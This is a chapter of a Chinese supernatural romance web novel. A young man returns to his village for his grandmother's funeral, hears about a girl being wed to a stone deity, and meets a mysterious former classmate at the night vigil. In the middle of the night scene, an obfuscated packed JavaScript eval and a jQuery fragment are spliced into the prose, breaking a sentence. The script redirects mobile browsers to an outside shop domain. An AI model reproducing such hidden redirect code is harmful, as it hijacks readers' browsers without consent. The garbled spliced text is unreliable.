*


    你不该回来。


    *


    杜淮林在收到奶奶死讯准备回村前收到一封信，一封奶奶生前寄给他的信，


    信里让他好好生活，不要回村，她的后事村里人会帮忙操办。


    可是唯一的亲人死去，他怎么能不回去呢？


    *


    何智的父亲来了，他父亲是阳明村的村长，所有人都敬重他，喊他一句何村长。何村长一早就带着两个人来杜家，他问了问杜淮林这些年的情况，回来路上累不累，然后话锋一转：“小林，你昨晚回村太晚了就算了，今天要去拜圣尊了。“


    “你家里的事别担心，我和你吴叔他们守着。”


    杜淮林还未说话，何智就带着他去家里吃早饭，吃完早饭两人顺着山路去山顶神庙。


    山路泥泞，杜淮林时不时需要何智扶一把：“我好久没回来了，好多以前的传统都不记得了。”


    何智：“咱们小时候都是大人在做这些，现在年纪到了，该知道的都要知道了。”


    “对了，你在外读书读得怎么样了？吴丽也去外面读书了，不过说是没你好，去年回村了，现在在村里正等着出嫁呢。”


    杜淮林随口问：“要结婚了？那好啊，新郎是哪里人？”


    “哎哟，你瞧我这脑子，没和你说清楚。她要嫁人，嫁得是……”何智故作神秘，手指往山上一指。


    杜淮林：“嫁圣尊？”在他的印象中，圣尊似乎并不是一个人，而是……


    杜淮林脱口而出：“她能愿意？”


    “这样天大的福气还能不愿意？”何智赶紧捂住他的嘴，‘嘘’了一声，转头悄声说：“不愿意又能怎么样？闹了又闹，没用。”


    两人边说边爬，眼看快到神庙，何智立刻住嘴。进了庙，庙围绕神像而建，朱红色的漆有些地方退成粉色，似乎是被雨水泡过，跪垫是崭新的明黄，案台上香烛已经烧尽，黑色的蛋形粗糙神像坐在正中间，用金笔勾勒出人的模样，低眉微笑看着两人。


    何智抽出案台上新的香烛，点燃后拜了两下就插进炉中。


    杜淮林学着他的样子，抽了三根香点燃，拇指和食指夹住香，置于胸前，还没等他弯下腰拜，一阵风吹来，手中的香以可见的速度燃尽，香烟飘散空中，有一缕缠绕在他手尖。


    “这？”


    一节香灰掉下来烫在杜淮林的手背。


    何智也很惊讶：“哎，这是怎么……”。


    杜淮林无法，只好又重新点燃三根香，这次很顺利，香稳稳当当插在炉里。


    ……


    二人下了山，回到杜家，何村长正翘着腿和吴叔他们聊天，两人脸上都是笑意，见杜淮林回来了，问过他们拜了圣尊后，吴叔先乐起来了。


    吴叔：“如此事情算是确定了，等最后三天时，你家抬着杜姨，我家抬着我闺女的花轿一起转山。”


    杜淮林听不懂这是什么意思。


    何村长解释：“你奶□□七的最后三天夜里，我们要抬着她的棺材围着圣尊的山转，同时还需要出嫁新娘的花轿一起转山。”


    “为什么要这样？”


    “传统。”


    还不等杜淮林说什么，吴叔就先开口感谢何村长给吴丽寻了这样一个好姻缘。


    杜淮林：“可那圣尊只是一座雕像，吴丽活生生的人怎么能——”


    吴叔脸色一变：“林娃子别乱说。”


    何智摇摇头也让杜淮林不要说下去。


    何村长见状，打圆场化解气氛。白天村里的老人没事做，杜家奶奶去世，都自发来到杜家小院帮忙、唠嗑，不一会就气氛又热络起来。


    棺材前，杜奶奶的黑白遗照放在桌上，还摆了一些饭菜，桌下是一双黑布鞋。——也是村里人帮忙搭的。


    奶奶生前那封信没说错，村里人会帮忙她的后事。


    看到这里，让对丧事一无所知的杜淮林眉头一松。


    ……


    天色渐晚，太阳下山，村里来帮忙的人都离开了，只剩下杜淮林和棺材。杜淮林就着香烛味扒饭，奶奶棺材的四角点了红烛，这七天不能断。


    村里每户都隔着一段距离，杜淮林把院门口白灯笼点亮，棺材拉出一条影子延伸到桌下的鞋边，往桌上看是遗照，杜淮林心里隐隐感觉奶奶正坐在桌边吃饭。


    他背部发毛，又把堂屋内的灯点亮，白炽灯‘啪’一下亮起，照得屋内惨白。


    杜淮林收拾屋内的东西，处理完奶奶的丧事后，他大概再也不会回来了。


    人忙起来就会忘记恐惧。杜淮林把奶奶生前的衣服和被子都搬到棺材边的大火盆烧了，厨房里一些柴和碗筷收拾出来等天亮了送给何智。


    他推开了自己的房间，奖状贴在墙上，小学的课本整整齐齐摆放在桌上，桌面没有灰尘，一看就是经常打扫。


    杜淮林鼻头发酸，把自己的一些照片收好，其他太重的东西也带不走了，带一些有纪念意义的东西就好。


    杜淮林看到了桌面下压着的一张照片，是他小时候和朋友的合照，照片有些泛黄，特别是朋友脸上有一大块黄斑，擦了两下依旧看不清。


    杜淮林没想太多直接扔进了书包。


    *


    通宵守灵很累，尤其是只有杜淮林一人守灵的情况下。


    杜淮林冲完澡穿着宽大的白体恤坐在小院，肩膀搭着毛巾，发丝还在滴水，露在外面皮肤莹润细腻，膝盖泛着粉红。


    杜淮林一边擦头发一边回老师的消息。


    【杜淮林：老师，我到家了，处理完奶奶的事再回学校。】


    【不着急，你先好好休息，需要帮助就告诉老师。】


    山里的信号时强时弱，刚发出去的消息后信号就空格了。


    杜淮林收起手机，往火堆里丢了一些纸钱，火焰‘咻’一下窜高，熠熠火光下，原本骨相极佳的杜淮林更是动人。


    正烧着纸钱，杜淮林身边坐下一个人，抬头一看，面容俊朗，嘴角下两个小梨涡，眼睛亮晶晶得看着自己，像是在看一个很久不见的朋友。


    “淮林。”


    同村的？看模样和自己差不多大，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887098|192056||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么自己看他这么眼生呢？


    杜淮林：“你是……？”


    男生薅了一把他手中的纸钱，一边烧一边看着他：“你忘记我了？我是陈澈，以前我们还做过同桌。”


    杜淮林真的不记得了，顺着记忆想去也就何智、吴丽他们的脸比较清晰：“是陈澈啊。累了几天，眼睛都花了，刚刚没认出你。”


    陈澈看破不说破：“知道你忙，也不回来看看。”


    “这不是回来了吗？你呢，这些年过得怎么样？”杜淮林一边在记忆中寻找陈澈，一边套出他的消息，勉得这场谈话不尴不尬，被他发现自己是真的不记得了。


    陈澈撒了一大把纸钱，火苗飞舞到他额前，火光在他瞳孔中闪烁又熄灭：“过得就这样吧……我也不想和他们说话，每天一个人，就想着你什么时候回来。”


    “你要是在就好了。”


    杜淮林愣住，他以前和陈澈的关系这么好吗？为什么自己一点也不记得？


    “抱歉。”杜淮林下意识道歉。


    陈澈倒是大方收下了他的歉意：“这么久没回来，村里和你记忆中有很大的变化吗？”


    “有啊，何智他们都变了好多，我记得小时候他很调皮，现在越来越稳重了。”也许是存了歉意，杜淮林难得话多，“王婆年纪也大了，昨天见一面发现她老了好多……听何智说吴丽……”


    “那我呢？变化很大吗？”


    杜淮林停嘴。


    陈澈见他傻傻愣着，笑出声：“就知道你不记得我了。”


    “不是……”


    “那你说我变化大吗？”


    “大……”


    “哪里大？”


    杜淮林憋了半天，最后说了一句：“更成熟了。”


    陈澈笑得前仰后合，手一抖，纸钱都散落了。


    杜淮林知道自己说错了，跑回房里端了一杯水给他：“喝点水，别笑了。”


    陈澈捡起地上的纸钱，没有接过杜淮林手中的水杯，而是就着他的手喝水，喝水时眼睛上挑一直看着杜淮林。杜淮林顺着他的力道倾斜水杯，这时他才真正看清陈澈的眼睛，桃花形状的眼睛，眼尾上翘，黑白分明，微微眯起时似乎在……愉悦？


    他肯定见过陈澈。


    这像是句废话，两人都是同学了怎么会没见过。


    “好看吗？”


    这一声唤回了杜淮林的神志，水杯的水已经喝空了，自己刚刚的模样活像被陈澈迷住。


    杜淮林脸一红，又回房里倒水，再出来时陈澈已经不见了。


    他把水杯放在一边，给棺材四周换上新蜡烛。空着脑袋做完这一切后，总算是压抑住咚咚狂跳的心脏了。


    陈澈有一双漂亮的眼睛，被注视时就好像落入陷阱的猎物，浑身发热，心跳加快，后颈发麻。


    难道……只是一眼自己就对他有好感了吗？


    想到这里，杜淮林抓起旁边的水杯咕咚咚喝下，喝完才发现是陈澈用过的水杯。


    杜淮林用手盖着脸。


    自己刚才这是怎么了？